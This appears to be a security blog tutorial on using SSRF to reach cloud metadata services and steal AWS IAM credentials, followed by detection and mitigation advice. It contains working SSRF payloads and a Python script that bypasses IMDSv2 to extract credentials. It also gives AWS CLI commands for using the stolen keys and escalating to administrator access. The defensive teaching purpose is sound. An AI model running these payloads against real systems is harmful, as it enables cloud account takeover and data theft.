SSRF to Cloud Credentials: Stealing AWS IAM Tokens via Metadata API | Tağmaç - root@Tagoletta:~#
Contents

SSRF to Cloud Credentials: Stealing AWS IAM Tokens via Metadata API

Thu May 28 2026 · 4 min read

Category: Security Research

# Attack-Chain# Cloud# SSRF# Exploit


Introduction: One SSRF, Entire Infrastructure at Risk

SSRF (Server-Side Request Forgery) is a vulnerability where an attacker causes a server to make HTTP requests to a destination of the attacker's choosing. In classic scenarios, this enables internal network scanning or unauthorized service access.

In cloud environments (AWS, GCP, Azure), SSRF takes on a far more dangerous dimension: every VM instance has a special metadata service accessible only from that server. This service can serve temporary IAM credentials in plaintext.

In 2024, F5 Labs reported a 452% surge in SSRF attacks. The reason is clear: a single SSRF vulnerability is a door into the entire cloud infrastructure.

AWS Instance Metadata Service (IMDSv1)

On Amazon EC2 instances, the IP address 169.254.169.254 is reserved for the metadata service. This IP is link-local — reachable only from the EC2 server itself. It's not directly accessible from the internet.

But if an SSRF exists, the server makes the request on behalf of the attacker.

Attacker → SSRF payload → Application server → 169.254.169.254

Available endpoints:

/latest/meta-data/                          → metadata index
/latest/meta-data/hostname                  → server hostname
/latest/meta-data/iam/security-credentials/ → IAM role names
/latest/meta-data/iam/security-credentials/{role} → credentials

Step-by-Step: SSRF → AWS Credential Theft

Step 1 — Find the SSRF vector:

Common SSRF triggers:

GET /fetch?url=http://evil.com/image.png
POST /webhook  {"callback": "http://internal"}
PDF generator: <img src="http://...">
XML/SVG parser: <!ENTITY xxe SYSTEM "http://...">

Step 2 — Discover the IAM role name:

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1

Response:

ec2-prod-role

Step 3 — Steal the credentials:

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-prod-role HTTP/1.1

Response:

{
  "Code":            "Success",
  "Type":            "AWS-HMAC",
  "AccessKeyId":     "ASIA4EXAMPLE...",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/...",
  "Token":           "AQoDYXdzEJr//...",
  "Expiration":      "2026-05-28T18:00:00Z"
}

Step 4 — Use the credentials externally:

export AWS_ACCESS_KEY_ID="ASIA4EXAMPLE..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/..."
export AWS_SESSION_TOKEN="AQoDYXdzEJr//..."

aws sts get-caller-identity     # Verify identity
aws s3 ls                       # List S3 buckets
aws iam list-users              # All IAM users
aws ec2 describe-instances      # All EC2 instances

Credentials work from any machine until their expiry time.

IMDSv2: Bypass Technique

AWS introduced IMDSv2 as a defense. IMDSv2 requires obtaining a session token first via a PUT request:

PUT /latest/api/token HTTP/1.1
X-aws-ec2-metadata-token-ttl-seconds: 21600

Response: AQAEANlW... (session token)

Then:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
X-aws-ec2-metadata-token: AQAEANlW...

IMDSv2 bypass:

Many SSRF vectors (PDF generators, XML parsers, headless browsers) support PUT requests. The attacker first retrieves a token with PUT, then fetches credentials with GET.

import requests

BASE = "http://target.com/fetch?url="
META = "http://169.254.169.254"

# 1. Get session token (PUT request)
token = requests.put(
    f"{BASE}{META}/latest/api/token",
    headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
).text

# 2. Get IAM role name
role = requests.get(
    f"{BASE}{META}/latest/meta-data/iam/security-credentials/",
    headers={"X-aws-ec2-metadata-token": token}
).text.strip()

# 3. Steal credentials
creds = requests.get(
    f"{BASE}{META}/latest/meta-data/iam/security-credentials/{role}",
    headers={"X-aws-ec2-metadata-token": token}
).json()

print(f"AccessKeyId:     {creds['AccessKeyId']}")
print(f"SecretAccessKey: {creds['SecretAccessKey']}")
print(f"Token:           {creds['Token'][:40]}...")

GCP and Azure Differences

Cloud Metadata URL Required Header
AWS 169.254.169.254 IMDSv2: X-aws-ec2-metadata-token
GCP metadata.google.internal Metadata-Flavor: Google
Azure 169.254.169.254 Metadata: true

GCP example:

GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata-Flavor: Google

Response: {"access_token": "ya29.c.b0...", "expires_in": 3599, "token_type": "Bearer"}

Privilege Escalation via IAM

The stolen credentials may not grant full access immediately. But misconfigured IAM permissions can enable escalation:

# List attached policies
aws iam list-attached-role-policies --role-name ec2-prod-role

# Attach admin policy to your own role (if permitted)
aws iam attach-role-policy \
  --role-name ec2-prod-role \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Common escalation paths:

  • iam:AttachRolePolicy → attach admin policy to any role
  • lambda:UpdateFunctionCode → modify Lambda code, execute os.system()
  • ec2:RunInstances + iam:PassRole → launch new instance with admin role

Detection

  • VPC Flow Logs: Monitor outbound connections to 169.254.169.254
  • CloudTrail: Unexpected AssumeRole, GetCallerIdentity, ListBuckets API calls
  • AWS GuardDuty: Anomaly-based IAM credential alerts
  • Application logs: Check if user-supplied URLs resolve to internal IP ranges

Mitigation

1. Enforce IMDSv2 on all EC2 instances:

aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1

2. Block internal IP ranges before server-side fetches:

import ipaddress

BLOCKED = [
    ipaddress.ip_network("169.254.0.0/16"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
]

def is_safe_url(url: str) -> bool:
    ip = ipaddress.ip_address(dns_resolve(extract_host(url)))
    return not any(ip in r for r in BLOCKED)

3. Apply least-privilege IAM roles: Give EC2 instances only the specific S3 bucket access they need — never iam:*.

4. Network-level enforcement: Use security groups or NACLs to block the application server's outbound access to 169.254.0.0/16.

Conclusion

SSRF can appear to be a "low severity" finding — just internal network scanning. In cloud environments, this assessment is completely wrong. A single SSRF → IAM token → AWS API access → full infrastructure compromise chain can be completed in minutes.

The 452% surge in 2024 shows attackers have automated this chain. Any "take a URL and fetch it" operation deployed in a cloud environment without SSRF protections is a critical vulnerability waiting to be exploited.


Reference: F5 Labs Cloud SSRF Research (2024–2025)
Related: OWASP Top 10 A10 — Server-Side Request Forgery

Frequently Asked Questions

How does SSRF lead to cloud account compromise?

A Server-Side Request Forgery lets an attacker make the server request the cloud instance metadata endpoint (169.254.169.254), which can return temporary IAM credentials the attacker then uses to access the cloud account.

What is IMDSv2 and how does it help?

AWS Instance Metadata Service v2 requires a session token obtained via a PUT request with a hop limit, which most SSRF primitives cannot perform. Enforcing IMDSv2 blocks the simplest metadata-based SSRF credential theft.

Which metadata endpoints are targeted on AWS, GCP and Azure?

All three expose 169.254.169.254; GCP and Azure additionally require a Metadata-Flavor or Metadata header, which attackers add if the SSRF allows header control. The paths return service-account tokens or IAM role credentials.

How do you defend against SSRF?

Enforce IMDSv2 (or disable metadata where unused), validate and allowlist outbound destinations, block link-local and private ranges, re-resolve and re-check hostnames to prevent DNS rebinding, and apply least-privilege IAM roles.